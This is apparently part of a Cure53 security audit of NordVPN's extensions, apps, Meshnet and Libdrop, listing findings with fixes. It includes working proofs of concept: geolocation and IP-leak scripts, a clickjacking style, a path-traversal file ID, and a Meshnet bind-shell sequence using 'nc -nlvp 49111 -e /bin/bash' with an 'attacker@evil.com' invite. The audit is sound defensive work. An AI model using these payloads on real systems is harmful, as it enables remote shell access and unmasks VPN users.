[10] https://en.wikipedia.org/wiki/Trusted_execution_environment

Additionally, to alert users of any inadvertent changes, it is recommended to always display a notification whenever the notification settings are altered. This notification should remain visible until the user explicitly closes it, ensuring that it does not disappear automatically after a set time.

## NOR-15-017 WP1: User's real geolocation can be leaked via multiple ways *(Low)*

***Client note:*** *It was decided to accept the risk as the solution would have a significant negative impact when loading pages.*

It was observed that the content script of NordVPN includes a custom script that overwrites the methods of the Geolocation API for every web page that is loaded. This is done to spoof the user's real location, and to prevent leaks. The settings deployed for this mechanism, however, were found to be flawed. Specifically, it was discovered that this script is only applied for Top-level frames, i.e. neither the *all_frames* nor *match_about_blank* flags were set to true) in the *manifest.json* file. This signifies a malicious website having the capacity to access the API via an iframe.

**PoC #1:**
```
navigator.geolocation.getCurrentPosition((position) => {
    console.log(`Spoofed latitude: ${position.coords.latitude}`);
    console.log(`Spoofed longitude: ${position.coords.longitude}`);
});
let iframe = document.createElement("iframe");
iframe.srcdoc=`
    <script>
         navigator.geolocation.getCurrentPosition((position) => {
            console.log(\`Real latitude: \${position.coords.latitude}\`);
            console.log(\`Real longitude: \${position.coords.longitude}\`);
        });
    </script>
`;
document.body.appendChild(iframe);
```

Additionally, it was discovered that the same protection can be bypassed from top-level iframes by simply deleting the overwritten API methods, effectively regaining access to the original API methods.

**PoC #2:**
```
> delete navigator.geolocation.getCurrentPosition
< true
> navigator.geolocation.getCurrentPosition
< ƒ getCurrentPosition() { [native code] }
```

It needs to be noted that preventing access to native methods is difficult. One could try freezing the object, to prevent deletion of properties, but there is no guarantee that doing so removes all possible ways to retrieve a fresh instance. Also, the *all_frames* and *match_about_blank* flags should be added to the manifest.json file.

## NOR-15-018 WP1: Clickjacking attack allows disabling privacy settings *(Low)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

It was discovered that under certain conditions, the NordVPN extension creates a shadow DOM element and adds it to the page's DOM, to inform users about the page's state, and allow them to disable certain features.

While a closed shadow DOM element is generally secure and cannot be manipulated by the page it is included in, it is possible to apply CSS styles to it, enabling a Clickjacking attack. Thus, this vulnerability allows a malicious page to trick users into disabling privacy settings - such as the HTTP warning - and even connecting to a VPN server.

**PoC:**
```
for (let each of document.all) {
    if (each.tagName.startsWith("NORDVPN"))
        each.style="opacity: 0.35";
}
```

**Steps to reproduce:**
1. Make sure you are not connected to any VPN server in the NordVPN extension.
2. Access the Settings tab from within the extension.
3. Select the Security and Privacy option.
4. Turn on the Warning feature.
5. Access any HTTP website, such as *http://example.org*.
6. Open the browser's DevTools and execute the JavaScript provided in the PoC section.

Mitigating this issue is challenging, because pages can control and modify any CSS attribute of elements within them. Cure53 suggests displaying the same information in the extension window, as it cannot be tampered with by a malicious page.

## NOR-15-019 WP4: Jangler Scripts does not work on CSP pages with meta tag *(Low)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

It was discovered that the Jangler Scripts insertion does not account for the possibility of CSP applied via meta tag. This oversight allows pages with meta tag CSP to block Jangler Scripts, which in turn blocks alerts.

Notice that in the code snippet below, only CSP headers were considered but not CSP via meta tag.

**Affected file:**
*lib-mangler-MITM-proxy-v2.10.0/pkg/contentserver/contentinject/csp_breaker.go*

**Affected code:**
```
func FixupCSPHeaders(injectionType InjectionType, headers http.Header,
injectUrl *url.URL) (string, error) {
	if !containsCSPHeaders(headers) {
		return "", nil
	}

	// Report headers are always removed, we don't really need them and
since we are modifying them, their
	// reports could lead to false-positives for service providers.
	// See:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-
Policy-Report-Only
	removeCSPReportHeader(headers)

	if len(headers.Get(cspHeader)) == 0 {
		// Report or deprecated headers present, do nothing
		return "", nil
	}
```

**Steps to reproduce:**
1. Navigate to following page:
   *https://ctf.s1r1us.ninja/xss.php?code=%3Chead%3E%3Cmeta%20http-equiv=%22content-security-policy%22%20content=%22default-src%20%27none%27;script-src%20%27self%27%20%27nonce-asd%27%22%3E%3C/head%3E*
2. Notice the CSP errors being thrown in the browser console.

It is recommended to parse the CSP inserted through Meta tag and add Jangler scripts based on that, similar to how it is done with headers.

## NOR-15-021 WP1: IP leak via Clickjacking on NordVPN's Insights API *(Low)*

***Fix-Note****: This issue was fixed after the testing phase and the fix was verified by Cure53.*

It was observed that all subdomains of *nordvpn.com* are allow-listed and exempted from being proxied by the NordVPN extension when the Kill Switch feature is enabled.

Upon further investigation, it was found that a specific NordVPN endpoint, located at *https://api.nordvpn.com/v1/helpers/ips/insights*, reflects the user's IP address in its response, without implementing the necessary *X-Frame-Options* (XFO) header. This behavior raises significant concerns, as it could be leveraged to deceive users into inadvertently revealing their IP addresses.

This vulnerability could be exploited through techniques such as tricking users into copying their IP address and pasting to a malicious page, or even disguising the iframe as a benign CAPTCHA prompt. These methods could be employed to leak the real IP address and thus circumvent the protections typically offered by the Kill Switch feature, thereby compromising user anonymity.

**Steps to reproduce:**

1. Make sure you are not connected to any VPN server in the NordVPN extension.
2. Access the Settings tab from within the extension.
3. Select the Connection option.
4. Turn on the Kill switch feature.
5. Copy *data:text/html,<iframe src="https://api.nordvpn.com/v1/helpers/ips/insights" style="opacity: 0.3"></iframe>* and paste it into your browser's URL address bar and then navigate to it.

To mitigate this issue, Cure53 recommends setting the *X-Frame-Options* value to either *SAMEORIGIN* or *DENY*. One could also integrate a strict *frame-ancestors* CSP directive to prevent this behavior.

## NOR-15-023 WP2: *Nordfileshare* replaceable with bind shell *(High)*

***Note****: Because of the current architectural design, this issue cannot be conclusively mitigated and the implemented monitoring fix can be bypassed.*

During live testing of the NordVPN desktop application for Linux, it was discovered that the Meshnet feature creates firewall rules to open port 49111 for file sharing. This presents a security risk, because the *nordfileshare* executable, which typically uses this port, runs under the current user and can be stopped without requiring elevated privileges. An attacker could stop this executable and replace it with, for example, a bind shell listening on the same port. By leveraging the firewall interactions of *nordvpnd*, which runs with elevated privileges, the bind shell could be accessed globally through Nord's Meshnet.

This would enable the attacker to gain persistence in highly restrictive networks, even if they do not have control over all firewalls and port forwarding settings.

It is important to note that this attack necessitates pre-existing local access, e.g. through a malicious script or executable. Consequently, the risk here is classified as *High* rather than *Critical*.

**Steps to reproduce:**

1. Prepare the bind shell on the target machine:
   - `nordvpn set meshnet on # enable meshnet`
   - `nordvpn mesh invite send attacker@evil.com --allow-peer-send-files`
   - `killall nordfileshare`
   - `nc -nlvp 49111 -e /bin/bash`
2. Connect to the prepared bind shell:
   - `nordvpn set meshnet on # enable meshnet`
   - `nordvpn mesh invite accept victim@victim.com`
   - `nordvpn mesh peer list # find IP for victim`
   - `nc ${victim_ip} 49111 # connect to the bind shell`

To remediate this issue, Cure53 recommends monitoring the *nordfileshare* executable from the *nordvpnd* daemon. If the executable stops, it must either be restarted immediately, or the firewall rules should be revoked.

## NOR-15-025 WP3: MacOS quarantine function fails to set quarantine (*Medium*)

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

While auditing Meshnet, it was discovered that the files downloaded via Libdrop don't properly set the macOS quarantine flag. This oversight allows a malicious adversary to send files, such as *.terminal* files, and execute arbitrary commands on the victim's computer.

**Affected file:**
*/libdrop/drop-transfer/src/quarantine/macos.rs*

**Affected code:**
```
[...]
 unsafe {
    let func: MDItemSetAttribute = transmute(ptr as *const c_void);
    // Actually set `com.apple.metadata:kMDItemWhereFroms` (yes, the
    // capitalization is supposed to be different between the _bundle_
    // and the _extended attribute_.
    let ret = func(
        item.as_concrete_TypeRef(),
        kMDItemWhereFroms,
        array.as_CFTypeRef(),
    );

    if ret != 0 {
        return Err(Error::new(
            ErrorKind::Other,
            format!("Setting metadata attribute failed with code {}", ret),
        ));
    }
}
```

In the above code, although Libdrop tries to set the quarantine flag, an error is being thrown as below. Due to time limitations, the Cure53 team couldn't dig further into the error.

**Error thrown:**
*Failed to quarantine downloaded file: Setting metadata attribute failed with code 1*

It is recommended to investigate the reason for the error being thrown and properly fix the issue by making sure the quarantine flag is set.

## NOR-15-026 WP3: Libdrop V2 WebSocket Lacks authentication *(Medium)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

During an investigation of the Libdrop source code, it was discovered that Libdrop v2 WebSockets lack any form of authentication. This vulnerability allows attackers to connect to the WebSocket and send arbitrary files to victims. However, attackers must be part of the Meshnet network to access the WebSocket port, as it is only reachable through a Meshnet connection. This vulnerability was therefore rated as *Medium*. The Cure53 team also confirmed with the developers that all NordVPN Meshnet Libdrop WebSockets listen on TUN device IPs, which ensures that they are not accessible via browsers.

In the below code snippet, it can be seen that protocol version v1 and v2 doesn't have authentication checks.

**Affected file:**
*/libdrop/drop-transfer/src/ws/server/mod.rs*

**Affected code:**
```
async fn process_authentication(
    auth: &crate::auth::Context,
    nonces: &Mutex<HashMap<SocketAddr, Nonce>>,
    peer: SocketAddr,
    version: protocol::Version,
    clients_authorization_header: Option<String>,
    www_auth: auth::WWWAuthenticate,
    logger: &Logger,
) -> Result<auth::Authorization, warp::Rejection> {
    // Uncache the peer nonce first
    let nonce = nonces.lock().await.remove(&peer);

    match version {
        protocol::Version::V1 | protocol::Version::V2 => (),
        _ => {
```

**Steps to reproduce:**

1. Clone the Libdrop repository *https://github.com/NordSecurity/libdrop*.
2. Compile the udrop test server.
3. Perform the below request to l*ocalhost:49111*:

   **Request:**
   ```
   GET /drop/v2 HTTP/1.1
   Host: localhost
   Connection: Upgrade
   Upgrade: websocket
   Sec-WebSocket-Version: 13
   Sec-WebSocket-Key: HqcdAkZ5Tp49oJaYK8b9xA==
   Authorization: drop
   ticket="JW/ApMAmPZO3+8XoJX9Jlzvaw8eRxxhlGptQFHHnMRs",
   nonce="c1+txtmeyHOBdVuCJGJM/7QV9P9byt1l"
   ```

4. Notice the WebSocket upgrade without any errors.

It is recommended to deprecate the v1 and v2 protocols from Libdrop to effectively fix this issue.

## NOR-15-027 WP3: Windows path traversal via WebSocket v4 (*Medium*)

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

While investigating Libdrop for potential path traversal issues, it was found that the Libdrop WebSocket v4 version doesn't sanitize the file ID, which is used to create the temporary file path name. This oversight allows attackers to pass path traversal characters, enabling traversal back from the current download folder, and downloading files into arbitrary directories. However, the files or alternate data streams created in these arbitrary paths end only with the extension *.dropdl-part*. Additionally, this issue can be exploited only on Windows, as Unix-based systems do not allow path traversal from invalid paths.

In the below code snippet, *map_files* doesn't sanitize the *files.id* value, and creates a new *FileToRecv* structure, which is then used to create a temp file name in the *temp_file_name* function.

**Affected file #1:**
*/NordVPN Meshnet/libdrop/drop-transfer/src/ws/server/v6.rs*

**Affected code #1:**
```
fn map_files(files: Vec<prot::File>) -> anyhow::Result<Vec<FileToRecv>> {
    let mut out = Vec::with_capacity(files.len()); //no sanitization done
for file id

    let mut used_mappings = HashMap::new();

    for prot::File { mut path, id, size } in files {
     [...]
            out.push(FileToRecv::new(id, path, size));
  [...]
}
```

**Affected file #2:**
*/libdrop/drop-transfer/src/ws/server/mod.rs*

**Affected code #2:**
```
fn temp_file_name(transfer_id: uuid::Uuid, file_id: &FileId) -> String {
    format!("{}-{file_id}.dropdl-part", transfer_id.as_simple(),)
}

async fn run(
        mut self,
        state: Arc<State>,
        events: Arc<FileEventTx<IncomingTransfer>>,
        mut downloader: impl Downloader,
        mut stream: UnboundedReceiver<Vec<u8>>,
        req_send: mpsc::UnboundedSender<ServerReq>,
        logger: Logger,
        guard: AliveGuard,
    ) {
       [...]

            let tmp_location: Hidden<PathBuf> = Hidden(
                self.base_dir
                    .join(temp_file_name(self.xfer.id(), self.file.id())),
            );

            let tmp_file_state = self
                .handle_tmp_file(
                    &logger,
                    &events,
                    &tmp_location,
                    emit_checksum_events,
                    checksum_events_granularity,
                )
                .await;

            let init_res = downloader.init(&self, tmp_file_state).await?;
```

**Steps to reproduce*:***

1. Clone the Libdrop repository and modify the file */libdrop/drop-transfer/src/file/mod.rs* with the following code:

```
fn from_path(path: impl AsRef<Path>, size: u64) ->
crate::Result<Self> {
        let path = path.as_ref();
        let abspath = crate::utils::make_path_absolute(path)?;
        let file_id = file_id_from_path(&abspath)?;
        let env_var = env::var("MY_ENV_VAR").unwrap();
        Ok(Self::new(
            FileSubPath::from_file_name(path)?,
            abspath,
            size,
            env_var.into(),
        ))
    }
```

2. Compile the udrop in windows and execute the below command by adding an arbitrary path in the file id.

   **Command:**
```
MY_ENV_VAR="/../../../asdf:asdf" ./target/debug/examples/udrop --
listen 0.0.0.0 --output ./ transfer 127.0.0.1 /tmp/test.terminal
```

3. The above command sends the following WebSocket request

   **Request:**
```
{"files":[{"path":"test.terminal","id":"/../../../
asdf:asdf","size":0}],"id":"d6fcd978-a863-40e1-a856-2e4e9d9b8ccc"}
```

4. Notice that a file named *asdf* is created in the traversed folder.

It is recommended to fix this vulnerability by sanitizing the file ID, and allowing only alphanumeric characters when creating the temporary file name.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit, but which may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, while a vulnerability is present, an exploit may not always be possible.

### NOR-15-003 WP1: Android backup flag enabled *(Info)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

The Android application has the backup flag enabled, allowing the potential for partial-data exfiltration by an attacker who gains physical access to a device with USB debugging activated. However, the application employs a *NordVPNBackupAgent* to selectively back up specific shared preferences. This method focuses on backing up essential user preferences, thereby reducing the scope of data that can be exposed during a backup process.

**Affected file:**
*AndroidManifest.xml*

**Affected code:**
```
<application  android:theme="@style/AppTheme"
android:label="@string/app_name" android:icon="@mipmap/ic_launcher"
android:name="com.nordvpn.android.NordVPNApplication"
android:backupAgent="com.nordvpn.android.domain.backup.NordVPNBackupAgent"
       android:allowBackup="true"  [...]>
```

The following command can be used to extract the data.

**Command:**
```
adb backup -f app.backup com.nordvpn.android
```

This implementation of *NordVPNBackupAgent* is noted as an informational issue, indicating a deliberate, scoped approach to data backup.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## NOR-15-004 WP1: Android application can be installed on older devices *(Info)*

***Client note**: There is a significant amount of users that use NordVPN Android application on older Android operating systems. The solution to mitigate this risk is currently too impactful for our end-user's user experience.*

During the security assessment, it was found that the Android application can currently be installed on devices running versions of Android that are no longer supported by Google, exposing it to numerous unfixed security vulnerabilities. These older devices do not receive security updates, which significantly increases the risk of exploitation.

**Affected file:**
*AndroidManifest.xml*

**Affected code:**
```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
       android:versionCode="1001138"
       android:versionName="7.0.0+sideload"
       android:compileSdkVersion="34"
       android:compileSdkVersionCodename="14"
       package="com.nordvpn.android"
       platformBuildVersionCode="34"
       platformBuildVersionName="14">
       <uses-sdk
       android:minSdkVersion="24"
       android:targetSdkVersion="34"/>
```

To mitigate this risk, and to enhance the security posture of the application, Cure53 recommends enforcing a minimum-supported Android version that receives regular security updates from Google. This ensures that known vulnerabilities are promptly addressed, and that devices are protected against the latest threats.

## NOR-15-020 WP2: Use of MD5 as key derivation function reduces security *(Low)*

During an audit of the source code for the NordVPN Linux desktop application, it was observed that for certain encryption and decryption operations, the AES key material is derived from a passphrase using an insecure MD5 hash function. This method is inadequate for generating secure key material from a passphrase. As a result, the risk of successful collision and second-preimage attacks is increased, and the overall security margin of the cryptographic processes using this key material is reduced.

**Affected file:**
*nordvpn-linux/internal/crypto.go*

**Affected code:**
```
func createHash(key string) string {
	// #nosec G401 -- stop encrypting config after going OSS
	hasher := md5.New()
	hasher.Write([]byte(key))
	return hex.EncodeToString(hasher.Sum(nil))
}
```

Cure53 recommends using a well-established key derivation mechanism like PBKDF2, with sufficiently high iterations[11].

## NOR-15-022 WP2: Linux client uses outdated and vulnerable dependencies *(Low)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

During the security assessment, the observation was made that the Linux client leveraged outdated versions that are vulnerable to a host of security risks. The following software packages were identified as out-of-date and potentially insecure. Notably, the version information provided is based on data collected at the time of testing. Whether these vulnerabilities are exploitable entirely depends on how the relevant functionality is used in the targeted application at present.

Notably, the testing team was unable to comprehensively prove any potential impact during the limited time frame granted for this review. As such, the wider implications remain unknown at this point and it is recommended that they should be subjected to internal research at the earliest possible convenience for the in-house team.

**Affected file:**
*nordvpn-linux/build/openvpn/env.sh*

**Affected Code:**
```
[...]
OPENSSL_VERSION="1.1.1t"
[...]
OPENVPN_VERSION="2.5.8"
[...]
LZO_VERSION="2.10"
[...]
```

**Affected file:**
*nordvpn-linux/build/openvpn/check_dependencies.sh*

[11] https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html#pbkdf2

**Affected code:**
```
[...]
tunnelblick_version="v3.8.8"
tunnelblick_sha256sum="747aeed732f5303b408006d40736ef2ce276e0d99671b2110bb6
b4f2ff7a52ca"
[...]
```

**Affected file:**
*nordvpn-linux/ci/docker/generator/Dockerfile*

**Affected code:**
```
[...]
go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.28.1 && \
go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.2.0 && \
[...]
```

To mitigate the existing issues as effectively as possible, Cure53 recommends upgrading all affected libraries, and establishing a policy to ensure libraries remain up-to-date moving forward. This will ensure that the premise can benefit from patches rolled out for previously detected weaknesses across a variety of different solutions.

## NOR-15-024 WP1: Predictable Realm database encryption key *(Low)*

***Fix-Note:*** *This issue was fixed after the testing phase and the fix was verified by Cure53.*

It was found that the Realm database password is generated using the vendor ID and the device model, both of which are known to the user. This predictability can lead to revealing the secret key and decrypting the Realm database. Although this issue is classified as miscellaneous - since the encryption key can be extracted from the keychain or through dynamic instrumentation - the predictability makes it easier for attackers.

**Affected file:**
*NordVPN/Helpers/DatabaseKeyProvider/DatabaseKeyProvider.swift*

**Affected code:**
```
[...]
let encryptedKey = (vendorId + device.model).sha256()
        try? setPassword(encryptedKey)
        return encryptedKey
[...]
```

To address this issue, Cure53 recommends generating a random password, and avoiding predictable values. This ensures that the password remains unpredictable and secure.

## NOR-15-028 WP3: Outdated and vulnerable dependencies of libraries *(Info)*

***Fix-Note**: This issue was fixed after the testing phase and the fix was verified by Cure53.*

During the security assessment, the observation was made that the Rust libraries Libtelio and Libdrop leveraged outdated versions that are vulnerable to a host of security risks. The following software packages were identified as out-of-date and potentially insecure. Notably, the version information provided is based on data collected at the time of testing. Whether these vulnerabilities are exploitable entirely depends on how the relevant functionality is used in the targeted application at present.

Notably, the testing team was unable to comprehensively prove any potential impact during the limited time frame granted for this review. As such, the wider implications remain unknown at this point and it is recommended that they should be subjected to internal research at the earliest possible convenience for the in-house team.

**Command**

```
> cargo audit

Crate:     curve25519-dalek
Title:     Timing variability in `curve25519-dalek`'s
`Scalar29::sub`/`Scalar52::sub`
Date:      2024-06-18
ID:        RUSTSEC-2024-0344
URL:       https://rustsec.org/advisories/RUSTSEC-2024-0344
Solution:  Upgrade to >=4.1.3
```

To mitigate the existing issues as effectively as possible, Cure53 recommends upgrading all affected libraries and establishing a policy to ensure libraries remain up-to-date moving forward. This will ensure that the premise can benefit from patches rolled out for previously detected weaknesses across a variety of different solutions.

## NOR-15-029 WP3: *SecretKey* and *PresharedKey* use Debug traits *(Low)*

***Fix-Note:** This issue was fixed after the testing phase and the fix was verified by Cure53.*

During the code audit of the *telio-crypto* crate, a component of Libtelio, it was discovered that data types for secret and preshared keys are implemented as Rust structs. These structs implement the *Display* and *Debug* traits, which allow logging of sensitive information in a Base64-encoded format. This implementation raises concerns about the potential exposure of sensitive data through logs, as these traits can inadvertently leak cryptographic keys.

**Affected file:**

*crates/telio-crypto/src/lib.rs*

**Affected code:**
```
/// Secret key type
#[derive(
    Default, PartialOrd, Ord, PartialEq, Eq, Hash, Copy, Clone,
DeserializeFromStr, SerializeDisplay,
)]
pub struct SecretKey([u8; KEY_SIZE]);

/// Preshared key type
#[derive(
    Default, PartialOrd, Ord, PartialEq, Eq, Hash, Copy, Clone,
DeserializeFromStr, SerializeDisplay,
)]
pub struct PresharedKey(pub [u8; KEY_SIZE]);

macro_rules! gen_common {
    [...]

    impl fmt::Display for $t {
        fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
            let mut buf = [0u8; 44];
            base64::encode_config_slice(&self.0, base64::STANDARD, &mut
buf);
            [...]
        }
    }

    impl fmt::Debug for $t {
        fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
            let buf = base64::encode(&self.0);
            [...]
    }

    [...]
}
gen_common!(SecretKey, PublicKey, PresharedKey);
```

Cure53 recommends removing the *Display* and *Debug* traits from the *SecretKey* and *PresharedKey* structs, in order to prevent potential unintended leakage of key material.

## NOR-15-030 WP3: *SecretKey* and *PresharedKey* do not implement zeroize *(Low)*

***Fix-Note:*** *This issue was fixed after the testing phase and the fix was verified by Cure53.*

During the audit of the *telio-crypto* crate's code, it was found that the Rust crates *zeroize* and *zeroize_derive* were imported but not applied to the generated *SecretKey* and *PreSharedKey* Rust structs. Although *telio-crypto* uses crates like *crypto_box*, which perform zeroization on key material, the absence of zeroization on these structs could result in sensitive key data remaining in memory even after disposal.

**Affected file:**
*crates/telio-crypto/src/lib.rs*

**Affected code:**
```
/// Secret key type
#[derive(
    Default, PartialOrd, Ord, PartialEq, Eq, Hash, Copy, Clone, 
DeserializeFromStr, SerializeDisplay,
)]
pub struct SecretKey([u8; KEY_SIZE]);

/// Preshared key type
#[derive(
    Default, PartialOrd, Ord, PartialEq, Eq, Hash, Copy, Clone, 
DeserializeFromStr, SerializeDisplay,
)]
pub struct PresharedKey(pub [u8; KEY_SIZE]);
```

Cure53 advises explicitly zeroizing the *SecretKey* and *PresharedKey* data-types by utilizing the *#[derive(zeroize)]* macro.

## NOR-15-031 WP1: Android potential path traversal *(Info)*

***Fix-Note****: This issue was fixed after the testing phase and the fix was verified by Cure53.*

During the source review of the Android application codebase, it was noted that the application does not properly validate or sanitize file paths during file writing operations. This oversight could potentially allow manipulation of the file path input in order to traverse to unintended directories using *../* sequences.

The issue was deemed as informational as the variable used to construct a file path was not controlled, and originated from server-supplied data. As such, although the vulnerability presents a potential security risk, the control and integrity of the data depend primarily on the server's security posture.

**Affected file:**
*nordvpn-android-app-7.0.0/domain/src/main/java/com/nordvpn/android/domain/inAppMessages/model/VideoResourceRepository.kt*

**Affected code:**
```
private fun saveVideoToLocalStorage(videoIdentifier: String, inputStream:
InputStream) {
try {
       prepareFolder()
       File(getVideoFilePath(videoIdentifier)).outputStream().use
{ outputStream ->
       inputStream.copyTo(outputStream)
       inputStream.close()
       outputStream.flush()
       outputStream.close()
       }
[...]
private fun getVideoFilePath(videoIdentifier: String): String {
return videoFolderPath + videoIdentifier
}
```

Even if the vulnerability is not currently exploitable, implementing path sanitization in file operations is recommended to prevent potential future risks.

## Conclusions

As noted in the *Introduction*, this Q2 2024 penetration test and source code audit carried out by Cure53 assessed the security posture of several applications, components, and features of the NordVPN software stack.

From a contextual perspective, fifty-five working days were allocated to reach the coverage expected for this project. The methodology used conformed to a white-box strategy, and a team of eleven senior testers was assigned to the project's preparation, execution, and finalization.

Note that this security evaluation is not the first time that Cure53 has assessed this scope. Cure53 has previously conducted similar assessments of NordVPN applications with identical or overlapping scopes. For instance, the Threat Protection and Meshnet features underwent a security evaluation in November and December 2023, while the applications were analyzed in July and August 2022.

Cure53 maintained ongoing communication with the NordVPN team via a dedicated Slack channel. This interaction was highly effective, and the testing team found assistance readily available upon request. Additionally, the testing team used this channel to provide regular updates on the project's status.

Before commencing on the technical aspects of this security assessment, Cure53 was granted access to several documents detailing the inner workings of the areas in-scope for inspection, as well as application builds and source code. Additionally, for some of the work packages (WPs), threat modeling documentation was provided, enabling the testing team to concentrate on the most critical and significant aspects of the tested scope.

The work was divided into six WPs, which were defined as:

- **WP1**: White-box tests against NordVPN browser addons & apps for iOS & Android
- **WP2**: White-box tests against NordVPN desktop apps for Windows, Linux, macOS
- **WP3**: White-box pen.-test & deep dive against NordVPN Meshnet feature
- **WP4**: White-box pen.-test & deep dive against NordVPN Threat Protection feature
- **WP5**: White-box pen.-test & deep dive against NordVPN Threat Protection Lite ftre.
- **WP6**: White-box pen.-test & deep dive against NordVPN VPN features & functionality

This section will now take a closer look at the most prominent findings made during the assessment, ordered by WP.

**Dr.-Ing. Mario Heiderich, Cure53**
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

## WP1 - Android and iOS Apps

The Android application was subjected to stringent analysis to identify potential abuse of insecure data storage, or misuse of pending intents. This evaluation revealed no such security vulnerabilities.

A review of the AndroidManifest file revealed that the *WelcomeActivity* utilizes single task mode, which facilitates a task hijacking vulnerability, as documented in ticket NOR-15-009.

Next, the application underwent a thorough assessment to determine its susceptibility to risks via malicious applications, secrets leakage, or issues in exported components. Cure53's systematic testing strategies in this area revealed no issues.

In the course of the Android application security assessment, a detailed analysis of exported activities was conducted to identify potential security risks. The review highlighted that several activities were exposed through the "exported" attribute, which could be exploited by malicious applications to impersonate the legitimate interface (see NOR-15-012 and NOR-15-005).

An exhaustive analysis was conducted on the exported services and receivers. This comprehensive evaluation aimed to identify any potential vulnerabilities that could be exploited via these components. Following this, the testing team concluded that the exported services were configured correctly, with appropriate security measures in place, and no significant issues were identified.

The security assessment also included a detailed analysis of the SQL queries used within the Android application. This examination focused on ensuring that the queries were properly structured to prevent SQL injection (SQLi) vulnerabilities and other common database security threats. The review confirmed that all SQL queries were implemented securely, with robust parameterization and adherence to best practices resulting in no vulnerabilities being identified in this area of the application.

The testing team dedicated significant effort to the analysis of file operations within the Android application, with a particular focus on Meshnet file sharing. This thorough examination was aimed at identifying potential vulnerabilities that could affect the integrity and confidentiality of file data. While the overall implementation of file operations was found to be secure, the assessment did uncover one potential informational issue related to the handling of file paths. This issue, though not immediately exploitable, suggests the need for enhanced path sanitization practices, to preemptively address any future risks that could arise from more sophisticated attack vectors (NOR-15-031).

A comprehensive analysis of the application's handling of deep links was carried out, with a specific focus on the potential to disconnect the user from a VPN. This examination was critical in ensuring that deep links could not be exploited to bypass network security measures. The assessment concluded that the deep links were securely implemented, and did not allow for any unauthorized VPN disconnections. This affirms that the application upholds strong security practices in maintaining user network protections.

Assessment of the iOS application began with static analysis of the iOS binary, as well as analysis of common misconfigurations and permissive security settings, such as insecure communications, and outdated iOS versions being permitted. After careful analysis, no issues related to configuration files could be found.

The iOS app was found to effectively leverage the Keychain to store secret data such as user tokens. The settings of the Keychain items in iOS were found to successfully prevent data leakage via iCloud and iTunes backups.

During the code review, it was noted that the Realm database password is predictable, making it easier for attackers to generate, as outlined in NOR-15-024.

In summary, this engagement highlighted that both the Android and iOS applications display a commendable security posture. However, the Cure53 team must note the importance of implementing the suggested mitigations, in order to protect users from targeted attacks.

## WP1 - Chrome, Edge and Firefox Extensions

Moving on to the extensions themselves, and their related JavaScript, the audit began by examining the manifest.json files for Chrome, Edge, and Firefox versions, in order to identify insecure configuration patterns, including overly lax permissions. Files exposed via *web_accessible_resources* were scrutinized for potential abuse (e.g., via Clickjacking), but were found to be secure.

However, the content script configuration revealed that both *all_frames* and *match_about_blank* were missing, which could allow an attacker to leak the user's real geolocation, since the script is not injected into frames or blank pages. Additionally, a related issue was discovered, in that by removing the overwritten *getCurrentPosition* method, an attacker could retrieve the user's location. All of this is documented in NOR-15-017.

Further analysis of the content script revealed that in certain scenarios, a shadow DOM is added to pages to alert the user about the privacy state of the page, and allow them to quickly take certain actions regarding the VPN. This implementation was found to lead to a Clickjacking attack, since pages can control the CSS applied to these elements. This is documented in NOR-15-018.

The use of the React framework for the extension UI eliminates a vast collection of Cross-Site Scripting (XSS) vectors. The misuse of *dangerouslySetInnerHTML* was not found in the code, and hence, no XSS vulnerabilities were identified. All component code was reviewed for other client-side vulnerabilities, but none were found.

The logic and code behind the proxying of requests by the NordVPN extension were analyzed, and the team noted that dotless domains are allow-listed, in order to enable users to connect to internal hosts such as localhost. The current implementation is flawed, as it does not consider that top-level domains can host a server, potentially bypassing the VPN altogether. This led to a *High*-severity issue. See NOR-15-006 for more information.

Additionally, the team noted that all subdomains from *nordvpn.com* are allow-listed. This could be problematic if any vulnerability exists within these subdomains. This was the case for the API available at *api.nordvpn.com*, which lacked the XFO header in its responses. A specific endpoint can be used in a Clickjacking attack, to trick users into leaking their real IP address (NOR-15-021).

## WP2 - macOS Application

Firstly, the app's signature was checked to confirm its authenticity and integrity. Following this, entitlements were reviewed to verify that the app's permissions were appropriate, and did not present security risks. This ensured that the app's access rights matched its intended functionality.

An analysis of running processes showed that *com.nordvpn.macos.helper* and *com.nordvpn.macos.Shield* both run under the root user. Conversely, the NordVPN process runs under user privileges.

From an XPC perspective, the privileged processes expose Mach services which are utilized by the unprivileged NordVPN process. Compared to other platforms, e.g. Linux and Windows, the IPC communication cannot easily be sniffed or eavesdropped on macOS. In fact, it was required to disable security features within the recovery menu (can only be entered when physically sitting in front of the device), in order to disable SIP.

## WP2 - Linux Application

Overall, the team found that code quality in the Linux application was good. Errors were found to be handled well, and mutexes were locked where necessary. Using Go for the implementation here was felt to be a good choice.

The desktop application has many features, and this creates a large attack surface. This was especially the case for logic bugs and access-control list (ACL) edge cases, as was observed in NOR-15-023.

Currently, the Linux application trusts all traffic from the user's machine. This allows malicious applications or other users to silently remote control the NordVPN daemon (NOR-15-013).

Due to the same design oversights, the application is not usable on a machine with multiple active NordVPN users. The *nordvpnd* daemon, the port for the fileshare, and possibly a number of other components would collide between the users. No access control would be possible in the current implementation if a running setup could be constructed.

